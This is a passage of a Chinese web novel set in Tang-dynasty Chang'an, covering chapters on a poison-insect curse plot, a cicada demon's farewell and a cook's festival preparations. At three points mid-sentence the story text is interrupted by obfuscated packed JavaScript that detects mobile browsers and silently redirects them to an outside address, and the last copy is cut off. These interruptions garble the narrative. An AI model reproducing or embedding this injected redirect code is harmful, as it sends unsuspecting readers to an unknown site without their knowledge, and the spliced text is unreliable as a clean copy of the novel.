他们从屋内出来，见到那几只长着翅膀的黑色虫子在庭院的上空开始盘旋着悲鸣吟唱，那歌声简直就是丧音。 再回屋看向云雀，她的脸色像蜡一样苍白，双眼空洞无神的盯着前方，只是似乎还有一口气在。 杜侍郎毕竟是三品大员，心神竟然还能稍微稳得住一些，他赶紧唤家奴去取令牌，又亲自骑马去找坊正开坊门，而后快速往捉妖司的方向行进了。 28. 第二十八章 蝉妖（三） 五更三筹后，顺天门第一声鼓响，幽谧黑夜褪去，东方露出鱼肚白，长安从沉睡中苏醒，恢复了白日的热闹。 段家食肆门前的大锅已经熬煮上了喷香的鸭汤，段知微特意挑了几只肥美的鸭子，又加入葱段、姜片慢慢炖煮，已经不间断地熬了一个多时辰，这汤炖煮时间越长，颜色越是金黄，香味也越是浓郁。 用来煮馎饦或者馄饨都很不错，是秋季朝食的滋养佳肴之选。 今日食肆生意好，店堂子里过于嘈杂。段知微一个人拿个小胡床坐在食肆大门边上腌制咸鸭蛋。 前些日子她亲自坐了驴车晃荡了大半日跑到泾河边上专养鸭子的人家，蹲那半个时辰精心挑选了一筐青壳匀称的漂亮鸭蛋回来。 长安的鸭蛋她端午前后吃了不少，很是不满意，这鸭蛋的蛋白滞涩，像在嚼棉絮，内里的蛋黄发干发粉，一点儿也不好吃。 段知微很喜欢高邮的咸鸭蛋，蛋白吃着细腻，蛋黄易沙油多，用汪曾祺他老人家的话讲，就是“筷子头一扎下去，吱—红油就冒出来了。” 这咸鸭蛋不仅可以佐着粥喝，蛋黄还能蒸肉饼、焗鸡翅、做金沙奶黄一口酥，百种妙用不可尽数。 她正忙着把甜酒糟和红泥慢慢混合，一大坛子烧酒倒进去，段大娘却火速提裙跑了出来。 段知微正忙得两只胳膊都是红泥沙，见段大娘又一脸“分享八卦”的表情，便颇为不耐烦地打断她：“长姑我正忙着呢，你闲着没事去后院把菜洗了。” 段大娘倒是很着急：“哎呦呦，大事啊，你没听食客们讲啊，昨夜中书侍郎家出了妖邪，传得沸沸扬扬的啊。” 段知微心一动，中书侍郎？那不就是杜有容的家。 段大娘补充道：“你可别不信，昨夜宵禁后，杜侍郎亲自出府，硬生生把坊正叫醒，签了出行文牒出坊，好多人都听见了。” 也是，幽静的长安夜色里，突然出现个在朱雀街疾驰的人，金吾卫肯定要集结盘查，这么大的阵仗，想避开流言也难吧。 只是杜府到底出了什么事情呢，段知微隐隐有些不妙的预感。 她站起身来想去后院找蝉妖清吟打探一下，却被人抢先一步，袁慎己穿着当值的绯红狮纹圆领袍，竟大步朝着段家食肆后院走去。 段知微赶紧跟上。 待她跑进去，袁慎己满脸怒容，一柄寒刀抵在清吟脖子上。 段知微大惊，赶紧上前阻止：“都尉息怒，有话好说！” 别动不动就上刀啊，你非要斩妖除魔那也得出去再说，在院子里动刀，我生意还做不做了？ 袁慎己盯着清吟：“昨夜，丫鬟云雀手臂伤口中飞出几道黑蝉般的妖怪，在杜府上方盘桓一夜，发出丧音。” 云雀挣扎痛苦了半日，郎中、道士、巫女、和尚全都请了一遍，做法的做法，诵经的诵经，却竟是毫无用处，如今云雀已然断了气，杜府乱成了一团。 清吟收起了那幅气定神闲的表演，第一次看上去满脸严肃凝重：“果然还是来了。” 袁慎己的刀仍未收鞘，听他如此说，更是把刀抵得狠了一些：“你果然知道什么。” 清吟沉思片刻，便讲述了自己的见闻。 他曾赠了一份护身符与杜有容，杜有容十分喜爱，成日佩着不离身。那护身符上盘着他二十年的妖力，寻常妖兽根本不敢靠近。 不想几月前，杜有容前去寺院上香，回来眼泪汪汪地跑来找他，说自己下马车时不小心差点摔倒，护身符上裂了一道口子，丫鬟云雀也为了救她手上蹭了一块伤口。 清吟很惊讶，接过护身符一看，上面的妖力已被外界力量所打破，杜有容的“不小心摔倒”不是意外，是人为造成的，只是被护身符挡了一下，反弹到了丫鬟云雀身上。 云雀身上的黑气一天比一天浓厚，清吟却妖力所剩无几，对此竟然是无能为力。 想到自己一直守护在绣楼的桑树上，幕后黑手可能不敢施行自己的计划。而自己却已经不剩多少时间了，为逼着幕后黑手动手。只能趁段知微来到绣楼的那一日跟她离开，让幕后黑手降低警惕。 那幕后之人果然当夜就动了手，忠心的丫鬟云雀死于非命。 清吟想了一想：“我要亲眼看看云雀的尸体。” 三人一齐坐上了马车，段知微看着闭目养神的清吟欲言又止，想了想还是问道：“你就这样过去啊。” 你又不打算跟人家搞对象，就这样过去见面了白白惹杜家娘子伤心。 清吟不理她。 段知微再看他一眼：“你俩怎么看对眼的？” 杜娘子那么好看，怎么会看上你的？ 段知微还想再说两句，猛然发现自己张不开口了，明显是清吟施展了什么奇怪的法术，段知微没办法，只能怒瞪他一眼，默默闭上了嘴。 袁慎己见她成天上蹿下跳，难得吃瘪，颇觉好笑，也被她瞪了一眼。 云雀的尸体放在后厢房中，等待大理寺的仵作前来尸检。杜府的人很给袁慎己面子，三人在杜府一路畅通无阻的到了后厢房。 清吟掀开白布，云雀躺在那儿，曾经丰盈的肌肤似被吸血虫吸干，皮肉遍布褶皱缩成一团，眼神空洞，死死盯着天花板。 段知微吓得连连后，袁慎己往旁边走了两步，挡住她的视线。 清吟伸出双指，抵在了云雀额头上，低声默念起咒语，一丝金线从他手中传送到云雀额头，她的身体盖上一层淡淡的光芒，须臾片刻之后，她的额头裂了道口子，里头似乎有长着翅膀的黑虫要逃离出来。 清吟眼疾手快,一道火花自掌心飞出，那黑虫想来极是怕火焰，被火一撩，当即就栽倒在了地上，碾成了一地灰黑色的粉末。 他转身对袁慎己道：“这不是妖，是蛊。” 是人为制成的蛊毒。 此蛊极是阴毒，几十年前也现世过一次，当时牛姓主家一家人竟然在一年内全部毙命，而每个人丧命之时，黑虫都会在上空盘旋一夜，高奏丧音。 段知微捂住嘴，好歹毒的计策，即便杜有容因为护身符逃过一劫，但最终也会作为杜府一员受到牵连。 清吟转向袁慎己：“此蛊需放在食物内由人服食，你替我问问有容的丫鬟黄莺，那日上香前后可有吃到别人赠送的点心之类。” 袁慎己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502859|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快带着黄莺过来，黄莺昨夜也被吓得不轻，一边发抖一边卖力回想，而后说道：“那日娘子去上香，偶遇了卢起居郎的次女卢湘兰，二人一起在茶肆饮了碗酪浆，回府之后，似乎裴府又送了一些礼品来，其中有一盒鲜花饼。” 黄莺想了想补充道：“似乎是裴郎君的表妹高蝶儿做的，她来自蒙舍诏，据说那儿四季绽放着鲜花，她送来的饼馅料是玫瑰糖卤子腌渍的，很是新奇，娘子非常喜欢，还分给丫鬟们吃。” 只不过这表妹何种心思，大家都知道，左不过也想嫁入裴府，先来讨好下主母，丫鬟们心疼杜有容，送来的鲜花饼一口没吃。 杜有容倒是无所谓，她对裴家郎君没有半分心思，他娶个三宫六院自己也不在意，于是自己一个人默默吃完了半盒饼，另外半盒分给了清吟。 段知微跳将起来：“不用问，肯定是那裴家表妹了，第一，她有动机，杜娘子没了，没准她就能嫁给裴郎君了；第二，裴郎君送来的一盒鲜花饼，别人都没吃，就她吃了，清吟虽然也吃了，但是他是妖啊不算数；第三，她来自蒙舍诏。” 蒙舍诏，云南洱海地区的部落，由于坐落在最南端，也称南诏国，那里的人一看就很会下蛊的样子。 至于听谁说的，段知微表示，电视剧和小说里都是这么演得。 她自觉这套推论逻辑严实密合，即便狄公在世也要摸一把胡须大大夸奖她一番。 段知微望向袁慎己，他偏过头去似乎在忍笑，她又望向清吟，这人直接给她一个大白眼。 丫鬟黄莺刚刚去找杜有容确认了一番那日上香吃过的食物，这下又跑了过来：“娘子也记得，那日外食就是一碗酪浆，半盒鲜花饼，其他都吃的府内庖厨做的东西，娘子现在过来了，她跟你们说吧。” 段知微听闻杜有容过来，竟然有些期待，这对恋人究竟是要“执手相看泪眼”，还是大吵一架分道扬镳，她很愿意在旁边看看。 杜有容昨夜失去了如知己好友一般的丫鬟云雀，又受了惊吓，强撑着过来，看到段知微他们，很是疑惑：“你们怎么过来了？” 段知微扭头一看，哪儿还有清吟的影子，一身绿衣的蒲桃从后面走到段知微面前对着杜有容叉手为礼道：“我家娘子略懂异术，是来为杜府解忧的。” 段知微：“......” 她就说嘛，为什么清吟在食肆非要她也跟来，原来是不敢真身见杜有容，化作了蒲桃的模样。 只是这个蒲桃怎么看怎么怪，真正的蒲桃喜爱热闹的褚红色衣衫，最不喜寡淡的月白色、绿色衣裳，更不会在衣袖上绣上精致的竹叶和露珠纹样。 更何况，蒲桃最喜欢憨笑着跟段知微说这个好吃，那个也好吃，面前这个叉手为礼的蒲桃，脸上带着历经世事的淡然超脱，这表情怎么也不会出现在一个孩童的脸上。 段知微看了很难受，更何况，一个擅长做饭的食肆掌柜，摇身一变成了个捉怪的道士，杜家二娘又不是傻子，怎么可能相信。 没想到杜有容细细瞧了蒲桃，不对，是清吟假扮的蒲桃一会儿，而后露出这几日第一个真心实意的浅笑：“那就劳烦你了。” 29. 第二十九章 这边四人突然沉默了下来，疑似下蛊的嫌疑人有两个，还都是深藏于高门绣户里头的娘子，又没有证据，即便是大理寺，也不能随意踏入世家大族的门槛，把人家表妹带进牢中候审吧。 还是清吟第一个打破了沉默，他问丫鬟黄莺要了一叠黄麻纸和一把剪刀，而后随地而坐，将纸剪成了一个灵动蝴蝶的样式。 他的嘴巴翕动念出了一长串奇异的口诀，手上的蝴蝶突然竖立起了翅膀，缓缓扇动两下翅膀，飞到云雀旁那摊已成齑粉的蛊虫边绕了一大圈，而后朝外面飞去。 清吟抱住双臂：“跟着蝴蝶走。” 几个人不明所以，都跟上了他的脚步。袁慎己照旧骑他那匹跟随多年的枣红马，杜有容、段知微和清吟则上了一辆华盖香车。 这香车应该通体涂了某种掺了沉香的漆料，散发出一种类似沉香水的味道，段知微对沉香过敏，狠狠打了几个喷嚏。 杜有容从怀里拿出一块手帕，上头用金丝线绣着一茬翠竹，她贴心把手帕递给段知微。 段知微犹豫了一会，这帕子看上去料子轻盈华贵，刺绣也精致，用来擦鼻子似乎过于粗鲁。没想到杜有容很是体贴地安慰她道：“无妨，妾家中还有许多罗帕，不差这一个，你拿着用吧。” 跟之前满脸骄矜的千金完全不是一个人，她果然是演的，为了尽可能拖一时的婚事，一位善良温柔的娘子硬是把自己武装成了一个蛮横娇女。 就为了一个看上去极度不靠谱的蝉妖。 这么想着，段知微向对面看去。 男女大妨，按道理说不能同乘坐一辆马车，不过清吟化作了蒲桃的模样，也就没人在乎这个了。 只是清吟完全没打算伪装一下小姑娘的娇憨天真，他气定神闲坐着闭目养神，两手交叉抱臂，身形随着马车在黄土地的前行而微微晃动。 别说杜有容，哪怕随便来个市井妇人，看到他都要来一句：“哎呦谁家的小孩，这般死气沉沉，哪儿有小孩子家家的样子。” 杜有容自上车后，除了段知微打喷嚏的时候关注了她一下，其他时间都盯着清吟欲言又止。但是她嘴巴张开了几次，最后都只化为了一声叹息。 对面闭着眼睛沉浸在自己的世界里。 在段知微看来，这完全是属于：我知道你在伪装，我知道你知道我在伪装，我知道你知道我知道你在伪装...... 但是双方无人戳破，成年人，不需要什么都交代的那么详细，不然事情没办法做下去，日子也没办法过下去。 随着马一声嘶鸣，袁慎己拉了下缰绳，又命车夫停下了马车。 那蝴蝶停在了东市最大的客中酒肆门口，又化作一张毫无生命气息的剪纸。 这酒肆在繁华的东市中格外醒目，两边朱红色的梁柱上分别龙飞凤舞地写着“兰陵美酒郁金香，玉碗盛来琥珀光。” 清吟下了车，瞥一眼袁慎己手中的蝴蝶剪纸道：“下蛊之人就在这家酒肆中。”而后率先进了酒肆。 段知微心道：“你有此等金手指早说啊......” 果然是长安城最出名的食肆，段知微略扫一眼，便看到各色客人。有虬髯胡子的壮汉，文质彬彬的读书人，有金发碧眼，面如希腊雕塑的胡商，当然少不了锦衣华服，一掷千金的世家子弟。 跑堂的酒博士们都是人精，眼睛上下一扫，就看到袁慎己的官靴和杜有容那身价值不菲的赤草茜宽袖裙，忙赔笑着把他们迎到雅间。 袁慎己道：“不必，给我们一个二楼角落的位置。” 酒博士略显惊讶，但也识趣的没问缘由，就把他们带到二楼一个角落，虽然位置偏僻，但能俯瞰整个酒楼的方位，将每个人的言行举止收于眼中。 清吟与袁慎己二人眼神不断四处观察，段知微谁也不认识，只好低头看菜单，见酒博士在那候着，杜有容命他先上一套白牡丹煎茶。 清吟突然道：“是他。” 几个人纷纷抬头，只见一穿月牙色澜袍的翩翩公子从雅间出来，似乎要去趟圖室。 清吟盯着他离开说：“裴垣的庶弟，裴桓。” 袁慎己当即喊住了来送煎茶的酒博士，问那间厢房里还有谁，酒博士讪笑两声：“那是食客的隐私......” 在收到一块银锭后，酒博士立刻改了口：“应当裴氏的几位郎君，还有几位娘子，似乎都是亲戚，一阵儿表哥堂弟的招呼。” 段知微一拍桌子：“我就知道是她。” 清吟站起来，喊上杜有容：“走，我随你过去打探一下。”又扭头朝着袁慎己他们叮嘱：“你们在这等着。” 杜有容假装在廊上行走，正巧遇到去完圖室返回的裴桓，顺理成章被邀请进入了雅间，清吟变作的蒲桃假装她的侍女，一起跟了进去。 这个安排其实很合理，毕竟在流言之中，杜有容还在死心塌地的心悦着自家表哥，如今她是待嫁之人，很不该和袁慎己一处。 只是段知微还是很好奇，裴家的几个郎君都未出仕，袁慎己恐怕都不认识他们，清吟怎么像对过户口一般，连人家庶弟都认识。 这边莫名其妙就剩了段知微和袁慎己两个人坐着面面相觑，段知微也不知要干些什么，只好低头装作看菜单，谁料定睛一看，一份生进鸭花汤饼竟然卖上三百多纹，相比之下，自家的烤鸭简直是在做慈善。 她赶紧合上了菜单。 袁慎己只觉她颇为有趣，因此道：“整个官署都受娘子食肆看顾，段娘子无须介怀，放心点单，袁某付钱便是。” 南衙官署的食堂及其难吃，一般都是苏莯一大早就跑到段家食肆买上十来个胡饼什么的带过去，然后一手交钱，一手交货。 “这怎么好意思......”段知微推拒道，结果肚子不争气地叫了起来。 她第一大早就被喊到了杜府，就匆忙间洗了手上的红泥，朝饭都没吃，这回饿得实在烧心，只好硬着头皮改口：“那就多谢都尉请客了。” 段知微决定免除袁慎己一季度在段家食肆的饭费。 这么安慰自己以后，她毫无顾忌地重新打开了菜单，刚在研究什么是单笼金乳酥，后面传来一声柔弱但是好听的女声：“原来是袁都尉，许久不见。” 二人同时望去，说话的是位蓝裙女子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14506147|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头上簪一颗珍珠步摇和兰花小钗，看上去清雅漂亮。她脸红着望向袁慎己，眼眸中似乎有万千情意。 然而袁慎己很是礼貌但冷漠地问：“足下是？” 段知微倒是想起来她是谁，在南严寺、曲江池、八字娘娘庙时，她都在杜有容身边，应当是杜有容的手帕交。 那娘子脸色由红转为苍白，怔怔半日道：“妾身是卢起居郎的女儿，名唤湘兰，都尉不记得妾了吗？” 这名字当然记得，不仅记得，简直如雷贯耳。 这是另一个嫌疑人也出现了啊，段知微和袁慎己互相交换一下眼神，袁慎己僵硬改口：“原来是卢娘子，可曾用过午食，不妨坐下一起吃吧。” 那卢娘子脸上这才带了些喜色，连声说好坐了下来。 段知微从未有过观察嫌疑人的经历，她也不擅于这个，便又专心低头点菜：“御黄王母饭是什么？这名字可真气派。” 袁慎己为她倒上一碗煎茶，推到她面前：“不过是栗米蒸制的黄米饭。” 幻想被打破，她又问：“那光明虾炙呢？” 袁慎己很有耐心地回答：“是烤虾。” “原来是烤虾啊，我喜欢吃虾，就要这个。” “嗯。” 两人你来我往，明明是寻常聊天却莫名显出一丝亲密。 卢湘兰的眼珠在两人间来回穿梭，手指缩到袖子里，暗地里指甲抠到了肉里。 单笼金乳酥、御黄王母饭、光明虾炙、长生粥......一盘盘长安特色美味被酒博士端上了桌。 这虾被一切两半，中间涂抹着某种蛋黄酱，袁慎己递上一只给段知微：“有些烫，小心。” 这虾肉新鲜，很有弹性，而且鲜嫩多汁，段知微很喜欢，又招呼袁慎己和卢湘兰：“你们也吃啊。” 卢湘兰暗暗咬碎一口银牙，面上却只能装作温婉道：“这家酒肆是东市最出名的一家了，妾经常来吃，有些许吃腻了，你们吃就好。” 说罢又唤来酒博士点上一份光明炙虾：“这虾虽好，一盘子却只有两只，段娘子难得喜欢，妾再点一份赠与你。” 酒博士又麻利送过来一盘虾，这回卢湘兰竟然亲自站起来转身接过那一盘虾，深深的看段知微一眼，而后把盘子放到她面前道：“这盘光明炙虾请段娘子用。” 段知微也明显看出这卢娘子似乎并不是真心想请她用这份烤虾，只觉拿也不是，不拿也不是。 杜有容和清吟却突然从那个房间出来，见到卢湘兰，她却不是十分惊讶，反而热情拉着她到一旁叙旧去了。 卢湘兰没能看到段知微亲自吃下那盘虾，很是着急，只能虚与委蛇的跟着杜有容说上两句，待再回来，发现段知微面前的盘子已经空了，她暗松一口气。 “你是在找这个吗？” 袁慎己手上举着那盘光明炙虾，清吟捏出一个火诀，这盘子立刻燃起熊熊火焰，令人感到恐惧的是，火焰中竟然传出几声扭曲的尖叫，慌得整个食肆的人都往外跑。 袁慎己抽出寒刀：“下蛊虫之毒，谋害朝廷命官，意欲屠其满门，心思何其恶毒，你可知罪？” 30. 第三十章 立秋与婚礼 卢湘兰初遇袁慎己，是在春日的桃林寺，那日春光融融，燕子盈空，桃花开得正好，几位官家娘子相约一起上香，却半路遇到一伙宵小歹徒。 她被歹人扛着在树林里头穿行，内心已然绝望万分，耳边却传来“嗖”的一声，有利箭离弦而出，如闪电般划过茂盛的树林。歹人听到声音正想逃窜，却来不及了，那箭无比精准地射到他的胸口。歹人身形一顿，随后满脸惊愕地倒了下去。 金吾卫们疾驰赶来，为首的袁慎己骑着高头大马，手握玄弓，蹙眉看一眼歹徒，又看一眼倒在地上瑟瑟发抖的她，调转方向离去了。 几个家奴丫鬟跑过来寻她，乳母一遍搀扶她一边兀自骂那金吾卫不上道，竟看了一眼就走了，也不知把自家娘子扶一下，回头定去老爷那告状，参他一本。 卢湘兰没有理她，春的情怀已然在少女心中绽放。 她很快打听到对方乃汝南袁氏子弟，还是中书侍郎的子侄。 于是卢湘兰开始跟杜有容交好，杜有容似乎也心系于这位表哥，自己跟在她旁边，总有机会与袁慎己说上话。 袁慎己对待官家娘子们向来守礼但疏远，灞桥之上，仕女们拿着柳枝翘首以盼，他目不斜视地骑着马走了，反倒对市井小民更加亲近，若有人朝他行礼，他还礼貌还礼。 世家子弟多轻浮，只有他傲然其间，不慕女色，不附权贵，卢湘兰只觉心醉。 她甚至花了大价钱前往定婚店，月老掌管天下姻缘，巫女三根香敬向幽冥，对月检书后道：“此人足上仍未缠上红线。” 卢湘兰只觉失落，又稍下心安，自己未得到的男人，旁人也得不到。 结果凉州一趟回来，巫女再次趁斜月尚明，对月检书，袁慎己却已然悬上了红绳。 贵贱悬隔，天涯丛宦，此绳一系，终不可逭。 卢湘兰心中的不甘如野草疯长，让她痛苦不堪。巫女赠了一道毒蛊、一道情蛊给她，代价是十年寿命。 杜有容即将与裴家定亲，又一边极力追求袁慎己，实在可恶，于是寺庙“偶遇”，相邀她一起去厢房坐一坐，趁她不注意，蛊虫下在了她的茶杯里。 可惜杜有容身上有个极其厉害的护身符，诅咒反弹到了她的丫鬟身上。 只能罢了。 又一日，卢湘兰陪着杜有容从八字娘娘庙出来，就看到袁慎己在当值巡街，他似乎是发现了谁，特意理了理铠甲。 而后眼睁睁看着他小心走到那个低贱商贾身边，低头跟她讲话，嘴角勾起一个轻微的笑，严肃的面庞都变得柔和起来。 她假意安慰杜有容：“袁都尉四品武将，想来前途无量，怎么也不会和一个当垆的商贾有牵扯。” 内心已然翻江倒海，卢湘兰又想起巫女那句： “贵贱悬隔，天涯丛宦，此绳一系，终不可逭。” 酒肆的客人几乎都已经跑了出去，只剩几人对峙。 卢湘兰率先换上了一个泫然欲泣的可怜表情：“下蛊乃是大逆，若被定罪，可是要牵连全族之人，这罪湘兰怎敢含糊承认，都尉说妾身下蛊，可有证据？” 段知微也悄悄向一旁的清吟问道：“你们怎么知道是她。” 清吟道：“刚刚裴垣说了，为向杜府表达诚意，裴家表妹几日前便被送出了长安。”虽说更证明了裴垣是个好人，但他脸上难掩失落。 原来是用排除法。 清吟站了出来，对卢湘兰道：“赠你蛊毒之人，可曾跟你说过，下蛊会被反噬。” 卢湘兰正静静站着，泪水如断了的珠子不停滴落，闻此言蓦地一顿。 他接着说道：“下蛊之人，手臂会有如同蛛网般的黑色伤疤，一瞧便是。再说了制蛊所用的七星虫我也知道，源头一查便有” 袁慎己最是嫌恶旁门左道运用邪术之人，此刻脸上怒容更盛：“若是大理寺追查这蛊毒的源头，你以为你能赖掉吗？” 卢湘兰下意识抚了下左臂，那里确有蛛网般的黑疤，药膏、香膏不知换了多少，郎中也找了，怎么去都去不掉，竟是反噬吗？ 她只觉天旋地转，瘫倒在地，而后哀哀望向袁慎己：“上巳佳节，桃林寺中，都尉救我性命，我便已倾心于你。” 她顿了顿：“巫女说，都尉心中只有一片荒凉风雪，我是着了魔，才用寿命去换情蛊。” 而后卢湘兰面上哀凄之色消失，因愤恨而微微扭曲，她的嘴唇紧抿着，牙齿咬得咯咯作响，双手紧抓着衣角笑道：“那你们便陪我一起入幽冥吧。” 她愤怒转向段知微：“尤其是你。” 段知微很惊讶：“啊，我吗？” 卢湘兰从衣袖扔出一张黄纸，瞬间四周燃上了熊熊大火，四处火光冲天，火舌肆意蔓延，一直燃到帷帐之上，滚滚浓烟不断升腾起来。 段知微第一次见如此可怖的场景，转身时被胡凳拌倒，又被浓烟迷了烟，她张了张嘴，喊不出声反而吞进去许多浓烟，她突然觉得脑子懵了起来，很想昏睡过去，。 有人朝着她冲了过来。 袁慎己将身上外袍披到她身上，又往外袍上浇一壶已经凉透的煎茶，倒一声“得罪”，把段知微拥人怀中，冲破了一道火的屏障，奔向二楼一挂竹窗。 他未曾犹豫，搂住段知微从竹窗跳了下去，所幸酒肆不高，他又当了人肉垫子，段知微竟然未感觉到疼痛。 她大声咳嗽几下，吐出几口浓烟，而后赶紧过去看袁慎己，他脸上有几块黑烟，鬓发也被燎焦了。 段知微抬起手给他擦擦：“都尉可有摔伤？” 袁慎己似乎也被浓烟熏懵了脑袋，牵过她的手贴到自己脸上，而后迅速反应过来又放开。 段知微红了脸，而后又转白：“他们人呢。” 话音刚落，杜有容也从那扇窗户中下来，她的身侧似乎护了一层类似绿色泡泡的保护膜，温柔的包裹着她慢慢从楼上飘落下来。 段知微：“......”差点忘了他们之中有一个妖怪。 段知微本想搀扶一下杜有容，结果她刚落地就又要冲进去：“清吟还在里面，我要进去。” 她的力气大得惊人，段知微完全拦不住她，袁慎己不便触碰她，还是她的未婚夫裴垣从人群中走了出来，大力拦下了她。 她哭得厉害，疯了一样捶打裴垣：“你放开我，我要进去。” 所谓关心则乱，段知微很想告诉她，清吟是一只法力强大的妖怪，一场火不会对他造成什么伤害。 一个稚嫩的声音从身后传来：“别哭了，我没事。” 清吟还是那幅波澜不惊的模样，他甚至身上都没沾染上一丝黑灰，眸色深深的看向裴垣怀中的杜有容。 她哭得狼狈，发簪歪斜，停止了挣扎，只怔怔盯着他。 夕阳升起，如眼前酒肆的火焰灼烧大片云羽，两人隔着不远，一个形影单只，一个即将嫁为人妇，像被天河阻隔的牵牛织女。 所幸他仍是化作了蒲桃的模样，若是寻常的男子形象，怕是裴氏都要起疑了。 这件事情的后续如何段知微未曾在关注，她更关心杜有容。 杜有容那日不知和清吟说了什么，已然心死，整日关在自家绣楼待嫁。 从外人角度看上去，裴垣家世好，生得英俊，风度翩翩，似乎还很专一，简直是打着灯笼都找不到的良配，这若不满意，简直就是脑子被驴踢了。 但是段知微知道，她心里爱慕一个妖怪得不到结果，又失去了自小一起长大的丫鬟，真心相交的朋友要害她，定然是心力交瘁。 只是她也不得解法，只好趁着快立秋了，多做了些香糖果子，托袁慎己送进杜府中，希望甜食能稍微安慰一下她。 立秋有“观秋”、“晒秋”之论，段家食肆的后院铺满了油纸，上面晒了各类农作物，段知微干活的时候，清吟就盘坐在桂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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妖怪的生命冗长，蝉妖却是特殊，能活上二十年，已然算是长寿了。 “这就是你对我避而不见的原因吗？”杜有容从树后走了出来，她穿一身普通的绿色襦裙，鬓边毫无饰品，根本不像是佩着凤冠的新嫁娘。 清吟惊讶的看她。 段知微悄悄溜走了。那日在杜府，见杜有容已然形容枯槁，段知微想帮帮她，于是她托了蒲桃，蒲桃托了朱娘，朱娘找了族中最会化形的蜘蛛，代替杜有容上了花轿。 杜有容知道的，遇见裴垣那日，是清吟邀她前往桃林寺，与心上人约会，她欣喜的面饰花靥，描摹秀眉。 马车行驶山林间起了阵怪风，她惊讶抬头，被裴远窥见一幅嫦娥月容。 “是你安排的对吗？”杜有容哭着问。 清吟无奈道：“是我。” 他即将消逝于天地间，只不放心自己的恋人，裴氏上下全族他都派蝉族打探过了，裴垣家教森严，前途大好，若杜有容嫁给他，定然会幸福一生。 杜有容哽咽道：“我知道你在想什么，我是不会嫁他的。” 清吟急道：“那你待如何，孤老此生吗？我以后没有办法再护着你了。” 段知微听不下去了，帮着劝了两句：“你这话就不对了，杜娘子不喜欢那裴垣，他再好，嫁过去也不会快乐的。” 秋风起，吹乱清吟发丝。 “我要走了”他最后看一眼杜有容，伸出双臂：“你愿意再抱我一下吗。” 杜有容跑过去扑进他的怀抱，清吟环抱住她，终于形成一个完满的圆。 他的身体开始变得透明，似被秋风瓦解，化为无数闪烁光点，如萤火飘动到空中。 只剩杜有容抱着一袭绿色的袍子在哀哀哭泣。 那些萤火围绕在她周围，仿佛在对她进行安抚，又像为清吟的消散举行的一场庄重的送别仪式。 “桃李无言又何在，向风偏笑艳阳人。”我今将剃度，半生梦已醒，只是今生，能否再见你一面？ 31. 第三十一章 修月亮的人 中秋前夕，段知微提前就找了木匠，要订一批用来装月饼的礼盒，这盒子要红木的、圆形的，最上面一层要有镂空雕刻的团圆纹。 里头则要划分独立的小格子用来放月饼，盒子最好再配一个精致小巧的提手，方便人们送礼。 再有就是又去了趟东市的云想夹缬，把送给阿盘的襦裙取了回来，刚巧在那碰到夹缬的画师，又订了套嫦娥奔月、吴刚砍桂的画样，准备贴在中秋礼盒上头。 至于月饼本身，段知微阶段性选择了放弃。 东西市的糕饼铺子竞争本就激烈，有一家专门做宝相花纹月饼的，黄澄澄油汪汪一大个，面上刻着精致宝相花纹，极其受长安仕女追捧。 另一家则是主打美味的酥皮月饼，里头裹着松仁、核桃仁、瓜子仁、冰糖混合起来的馅料，听起来像是五仁月饼的前身，只是段知微一向不爱吃五仁月饼。 特别是糖冬瓜冰肉和橘饼搓一起的那个青红丝，一股儿怪味，简直秀色不可餐。 只是这家酥皮月饼吃起来却是香松柔腻，口感相当丰富，难怪每年中秋前夕，门口都大排长龙。 掌柜在店里头耳提面命地教导学徒，段知微竖起耳朵听了一嘴儿，只听到要用什么山东的飞面，馅料磨成细末，微加冰糖。 至于大明宫内的月饼，那就更加精致了，袁慎己就得过圣人的赏，那月饼有蜜饯果脯子馅的、橙沙馅的，每个月饼还都有自己的名字，叫什么“金花”“芙蓉”做的特别精致。 在这样激烈的竞争之下，段知微只能赞叹一下古人的智慧，而后对自己当年“现代人必能打败古人”的幼稚言论做了深刻反思。 东市绕了一大圈，各色月饼也吃得差不多了，段知微这才晃晃悠悠回了食肆，月饼还是太甜腻了，她赶紧去后院打一碗凉水饮下。 结果一抬头，发现在桂花树下，一只毛茸茸的兔子盯着她看。 段知微奇道：“哪儿来的兔子啊？”她走上前提溜起兔子耳朵，兔子也不挣扎，乖乖任她查看。 蒲桃赶忙冲了过来，把兔子抱进怀里：“娘子，这是我养的小兔子，你可千万不能一时兴起拿它做个烤兔腿什么的。” 段知微：“......”我是那种人吗？ 正逢金秋时节，街对角果肆家的小娘子一大早就来邀请蒲桃去终南山脚捡栗子，两个人欢天喜地地拎着篮子就走了。 回来的时候，蒲桃的篮子里就多了一只白色的小兔子，说是在树林里捡的。 段知微也就随她去了，一只小兔子而已，最多废点菘菜叶子，又不是养不起，不像某只每天都要吃鱼的大胖猫。 食肆门口的炉灶里咕噜噜炖着冰糖肘子。段知微今早去了趟肉铺子，发现肘子今日便宜了不少还很新鲜，就买回来了。 先在深汤锅里垫一张竹笪网，把肘子和葱姜并各色香料一起进去煮。另起一个大铁锅，用油炒糖色，放□□糖炒到粘稠。 